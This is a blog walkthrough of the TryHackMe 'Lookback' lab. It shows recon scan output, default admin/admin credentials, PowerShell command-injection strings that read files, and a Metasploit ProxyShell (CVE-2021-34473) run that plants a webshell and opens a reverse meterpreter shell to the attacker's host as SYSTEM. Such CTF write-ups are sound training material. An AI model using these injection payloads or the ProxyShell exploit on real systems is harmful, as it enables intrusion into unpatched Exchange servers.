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    TryHackMe: Lookback


    TryHackMe: Lookback#### Welcome to another TryHackMe writeup/walkthrough. Today we’re looking at a room called Lookback v2.2. Let’s get started.

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    link: https://tryhackme.com/room/lookback

    Recon

    I began with a reconnaissance of the target machine using nmap. The results revealed open ports 80, 443, and 3389. Port 443 caught my attention, and upon exploration using a browser, I identified an Outlook (Exchange) login page. Thanks to the Wappalyzer tool, I detected that the server was running IIS and Exchange version 15.2.858. This was the key information for the later procedure.

    C:\Users\Administrator\Documents
    
    └─# nmap -sV -sC -A -O -v 10.10.167.49  Discovered open port 443/tcp on 10.10.167.49Discovered open port 3389/tcp on 10.10.167.49Discovered open port 80/tcp on 10.10.167.49PORT     STATE SERVICE       VERSION80/tcp   open  http          Microsoft IIS httpd 10.0|_http-server-header: Microsoft-IIS/10.0|_http-title: Site doesn't have a title.443/tcp  open  ssl/https| ssl-cert: Subject: commonName=WIN-12OUO7A66M7| Subject Alternative Name: DNS:WIN-12OUO7A66M7, DNS:WIN-12OUO7A66M7.thm.local| Issuer: commonName=WIN-12OUO7A66M7| Public Key type: rsa| Public Key bits: 2048| Signature Algorithm: sha1WithRSAEncryption| Not valid before: 2023-01-25T21:34:02| Not valid after:  2028-01-25T21:34:02| MD5:   84e0:805f:3667:c38f:d820:4e7c:1da0:4215|_SHA-1: 0845:8fd9:d9bf:c4c6:48db:1f82:d3e7:324e:a924:52d7|_http-favicon: Unknown favicon MD5: 9A23689DAEDBFCCBD8DFB8BD0F3B79E0|_http-server-header: Microsoft-IIS/10.0| http-methods: |_  Supported Methods: GET HEAD POST OPTIONS3389/tcp open  ms-wbt-server Microsoft Terminal Services| ssl-cert: Subject: commonName=WIN-12OUO7A66M7.thm.local| Issuer: commonName=WIN-12OUO7A66M7.thm.local| Public Key type: rsa| Public Key bits: 2048| Signature Algorithm: sha256WithRSAEncryption| Not valid before: 2023-09-27T21:24:16| Not valid after:  2024-03-28T21:24:16| MD5:   be50:d2ec:5fa6:5bf7:d7de:5aec:cfaf:6621|_SHA-1: 2cc8:4180:5523:957b:f0c0:c7ef:775f:09ce:fc78:f135Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed portOS fingerprint not ideal because: Missing a closed TCP port so results incompleteNo OS matches for hostNetwork Distance: 2 hopsTCP Sequence Prediction: Difficulty=262 (Good luck!)IP ID Sequence Generation: IncrementalService Info: OS: Windows; CPE: cpe:/o:microsoft:windows
    

    port 443

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    80/test

    While investigating port 80, I stumbled upon a subdirectory /test using dirb, which required authentication. With the help of nikto, I discovered the default login credentials as admin/admin. Upon logging in, I encountered the first service flag and a LOG ANALYZER built on PowerShell

    └─# dirb https://10.10.167.49/ -w /usr/share/wordlists/dirbuster/directory-list-1.0.txtGENERATED WORDS: 4613                                                          ---- Scanning URL: https://10.10.167.49/ ----(!) WARNING: All responses for this directory seem to be CODE = 401.                                                              (Use mode '-w' if you want to scan it anyway)(!) WARNING: All responses for this directory seem to be CODE = 401.                                                              (Use mode '-w' if you want to scan it anyway)+ https://10.10.167.49/access.1 (CODE:302|SIZE:130)                                                                           + https://10.10.167.49/access_log.1 (CODE:302|SIZE:134)                                                                       + https://10.10.167.49/access-log.1 (CODE:302|SIZE:134)                                                                       + https://10.10.167.49/admin.cgi (CODE:302|SIZE:131)                                                                          + https://10.10.167.49/admin.php (CODE:302|SIZE:131)                                                                          + https://10.10.167.49/admin.pl (CODE:302|SIZE:130)
    
    └─# gobuster dir -u http://10.10.167.49/ -w /usr/share/wordlists/dirb/big.txt --exclude-length 0===============================================================Starting gobuster in directory enumeration mode===============================================================/TEST                 (Status: 403) [Size: 1233]/Test                 (Status: 403) [Size: 1233]/ecp                  (Status: 302) [Size: 207] [--> https://10.10.167.49/owa/auth/logon.aspx?url=https%3a%2f%2f10.10.167.49%2fecp&reason=0]                                                                                                                  Progress: 17495 / 20470 (85.47%)[ERROR] Get "http://10.10.167.49/sapi": context deadline exceeded (Client.Timeout exceeded while awaiting headers)/test                 (Status: 403) [Size: 1233]Progress: 20469 / 20470 (100.00%)===============================================================Finished===============================================================
    
    └─# nikto -h http://10.10.167.49  ---------------------------------------------------------------------------+ Server: Microsoft-IIS/10.0+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/+ All CGI directories 'found', use '-C none' to test none+ /Autodiscover/Autodiscover.xml: Retrieved x-powered-by header: ASP.NET.+ /Autodiscover/Autodiscover.xml: Uncommon header 'x-feserver' found, with contents: WIN-12OUO7A66M7.+ /Rpc: Uncommon header 'request-id' found, with contents: dff137db-2047-4f0c-a7e5-ed1f18e9b388.+ /Rpc: Default account found for '' at (ID 'admin', PW 'admin'). Generic account discovered.. See: CWE-16
    

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    creds: admin/admin

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    service flag 🏁: THM{Security_Through_Obscurity_Is_Not_A_Defense}


    I employed a PowerShell injection BitlockerActiveMonitoringLogs') ; dir #(' to obtain the directory structure. I focused on the user directory and secured the user flag under the dev user.

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    Powershell injection

    BitlockerActiveMonitoringLogs') ; dir #('
    

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    BitlockerActiveMonitoringLogs') ; dir C:\Users #('
    

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    BitlockerActiveMonitoringLogs') ; type C:\Users\dev\Desktop\user.txt #('
    

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    user flag 🏁: THM{Stop_Reading_Start_Doing}


    PRIVESC

    The journey to the root flag was technically more demanding. On the desktop of the dev user, I found a file named TODO.txt, which contained information about the need to install a security update for MS Exchange. Recalling the earlier information about the Exchange version, I identified the Microsoft Exchange ProxyShell RCE vulnerability. After launching metasploit and applying the exploit using the email from TODO.txt, I gained system user. In the directory C:\Users\Administrator\Documents, I finally discovered the root flag.

    BitlockerActiveMonitoringLogs') ; type C:\Users\dev\Desktop\TODO.txt #('
    

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    Install the Security Update for MS Exchange [TO BE DONE]
    

    Wappalyzer > Exchange 15.2.858 > Microsoft Exchange ProxyShell RCE https://www.rapid7.com/db/modules/exploit/windows/http/exchange_proxyshell_rce/

    msf6 > search exchange ProxyMatching Modules================   #  Name                                             Disclosure Date  Rank       Check  Description   -  ----                                             ---------------  ----       -----  -----------   0  auxiliary/gather/exchange_proxylogon_collector   2021-03-02       normal     No     Microsoft Exchange ProxyLogon Collector   1  exploit/windows/http/exchange_proxylogon_rce     2021-03-02       excellent  Yes    Microsoft Exchange ProxyLogon RCE   2  auxiliary/scanner/http/exchange_proxylogon       2021-03-02       normal     No     Microsoft Exchange ProxyLogon Scanner   3  exploit/windows/http/exchange_proxynotshell_rce  2022-09-28       excellent  Yes    Microsoft Exchange ProxyNotShell RCE   4  exploit/windows/http/exchange_proxyshell_rce     2021-04-06       excellent  Yes    Microsoft Exchange ProxyShell RCEInteract with a module by name or index. For example info 4, use 4 or use exploit/windows/http/exchange_proxyshell_rcemsf6 > use 4[*] Using configured payload windows/x64/meterpreter/reverse_tcpmsf6 exploit(windows/http/exchange_proxyshell_rce) > set RHOST 10.10.167.49msf6 exploit(windows/http/exchange_proxyshell_rce) > set LHOST 10.9.102.33msf6 exploit(windows/http/exchange_proxyshell_rce) > set EMAIL dev-infrastracture-team@thm.localEMAIL => dev-infrastracture-team@thm.localmsf6 exploit(windows/http/exchange_proxyshell_rce) > exploit[*] Started reverse TCP handler on 10.9.102.33:4444 [*] Running automatic check ("set AutoCheck false" to disable)[+] The target is vulnerable.[*] Attempt to exploit for CVE-2021-34473[*] Retrieving backend FQDN over RPC request[*] Internal server name: win-12ouo7a66m7.thm.local[*] Assigning the 'Mailbox Import Export' role via dev-infrastracture-team@thm.local[+] Successfully assigned the 'Mailbox Import Export' role[+] Proceeding with SID: S-1-5-21-2402911436-1669601961-3356949615-1144 (dev-infrastracture-team@thm.local)[*] Saving a draft email with subject 'EZdJFmHYi83' containing the attachment with the embedded webshell[*] Writing to: C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\WQk02Ek1q7zc.aspx[*] Waiting for the export request to complete...[+] The mailbox export request has completed[*] Triggering the payload[*] Sending stage (200774 bytes) to 10.10.167.49[+] Deleted C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\WQk02Ek1q7zc.aspx[*] Meterpreter session 1 opened (10.9.102.33:4444 -> 10.10.167.49:10806) at 2023-09-29 00:22:38 +0200[*] Removing the mailbox export request[*] Removing the draft emailmeterpreter > shellProcess 14496 created.Channel 2 created.Microsoft Windows [Version 10.0.17763.107](c) 2018 Microsoft Corporation. All rights reserved.c:\windows\system32\inetsrv>whoamiwhoamint authority\systemc:\windows\system32\inetsrv>cd C:\rootcd C:\rootC:\root>dirdir Volume in drive C has no label. Volume Serial Number is 762A-C0C6 Directory of C:\root01/25/2023  02:34 PM    <DIR>          .01/25/2023  02:34 PM    <DIR>          ..               0 File(s)              0 bytes               2 Dir(s)  13,357,699,072 bytes freeC:\root>cd C:\Userscd C:\UsersC:\Users>dirdir Volume in drive C has no label. Volume Serial Number is 762A-C0C6 Directory of C:\Users01/26/2023  02:16 PM    <DIR>          .01/26/2023  02:16 PM    <DIR>          ..01/25/2023  01:54 PM    <DIR>          .NET v4.501/25/2023  01:54 PM    <DIR>          .NET v4.5 Classic03/21/2023  11:40 AM    <DIR>          Administrator02/21/2023  01:31 AM    <DIR>          dev01/25/2023  09:15 PM    <DIR>          Public               0 File(s)              0 bytes               7 Dir(s)  13,356,482,560 bytes freeC:\Users>cd Administratorcd AdministratorC:\Users\Administrator>dirdir Volume in drive C has no label. Volume Serial Number is 762A-C0C6 Directory of C:\Users\Administrator03/22/2023  12:13 PM    <DIR>          .03/22/2023  12:13 PM    <DIR>          ..01/25/2023  09:15 PM    <DIR>          3D Objects01/25/2023  09:15 PM    <DIR>          Contacts01/25/2023  09:15 PM    <DIR>          Desktop02/12/2023  12:57 PM    <DIR>          Documents02/21/2023  01:30 AM    <DIR>          Downloads01/25/2023  09:15 PM    <DIR>          Favorites01/25/2023  09:15 PM    <DIR>          Links01/25/2023  09:15 PM    <DIR>          Music01/25/2023  09:15 PM    <DIR>          Pictures01/25/2023  09:15 PM    <DIR>          Saved Games01/25/2023  09:15 PM    <DIR>          Searches01/25/2023  09:15 PM    <DIR>          Videos               0 File(s)              0 bytes              14 Dir(s)  13,355,368,448 bytes freeC:\Users\Administrator>cd Desktopcd DesktopC:\Users\Administrator\Desktop>dirdir Volume in drive C has no label. Volume Serial Number is 762A-C0C6 Directory of C:\Users\Administrator\Desktop01/25/2023  09:15 PM    <DIR>          .01/25/2023  09:15 PM    <DIR>          ..               0 File(s)              0 bytes               2 Dir(s)  13,354,254,336 bytes freeC:\Users\Administrator\Desktop>cd ..cd ..C:\Users\Administrator>cd Documentscd DocumentsC:\Users\Administrator\Documents>dirdir Volume in drive C has no label. Volume Serial Number is 762A-C0C6 Directory of C:\Users\Administrator\Documents02/12/2023  12:57 PM    <DIR>          .02/12/2023  12:57 PM    <DIR>          ..02/12/2023  12:57 PM                35 flag.txt               1 File(s)             35 bytes               2 Dir(s)  13,351,165,952 bytes freeC:\Users\Administrator\Documents>type flag.txttype flag.txtTHM{Looking_Back_Is_Not_Always_Bad}
    

    root flag 🏁: THM{Looking_Back_Is_Not_Always_Bad}


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    © 2026 Patrik Žák. Všechna práva vyhrazena.